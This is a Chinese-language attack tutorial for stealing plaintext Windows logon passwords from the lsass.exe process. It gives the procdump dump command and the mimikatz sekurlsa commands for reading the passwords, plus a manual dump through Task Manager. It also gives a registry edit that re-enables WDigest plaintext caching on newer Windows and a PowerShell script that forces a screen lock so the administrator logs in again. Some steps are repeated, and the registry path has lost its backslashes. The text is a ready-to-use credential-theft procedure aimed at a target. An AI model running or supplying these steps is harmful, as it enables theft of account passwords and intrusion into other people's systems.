0x00 原理
獲取到內存文件 lsass.exe 進程 (它用於本地安全和登陸策略) 中存儲的明文登錄密碼。
0x01 操作
Windows10/2012 以下的版本:
1、上傳 procdump 執行命令轉存出 lsass.dmp 文件(需要管理員權限)
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
2、拿到 mimikatz 文件夾執行命令讀明文:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
或者手工轉存 lsass.dmp 文件,打開任務管理器,選中進程,並且在其中找到 lsass.exe 這一項。

2. 找到這一項之后,單擊右鍵,選擇創建轉儲文件。

3. 點擊之后,電腦會將該文件轉儲到文件夾里面,我們需要記住這個路徑,並且將這個文件復制到 mimikatz 的文件夾里面。

2、拿到 mimikatz 文件夾執行命令讀明文:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
Windows10/2012R2 版本:
默認 Windows10 或者 2012R2 以上的,禁止在內存緩存中保存明文密碼。
四步驟:
1、修改注冊表
2、鎖屏或者退出賬號
3、等待目標系統管理員重新登錄
4、讀取密碼
修改注冊表來讓 Wdigest Auth 保存明文口令:
復原把 1 改為 0
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
修改注冊表需要重啟,或者注銷賬號重新登錄。
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
然后拿到 mimikatz 文件夾執行命令讀明文:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
看別人的文章說能寫一個強制鎖屏的 powershell 腳本文件,通過鎖屏讓目標重新啟動電腦。
Windows2012 版本強制鎖屏腳本,
保存為 lock-screen.ps1:
記得查看管理員是否在線。
Function Lock-WorkStation { $signature = @" [DllImport("user32.dll", SetLastError = true)] public static extern bool LockWorkStation(); "@ $LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru $LockWorkStation::LockWorkStation() | Out-Null}Lock-WorkStation
腳本使用方法:
powershell -file lock-screen.ps1
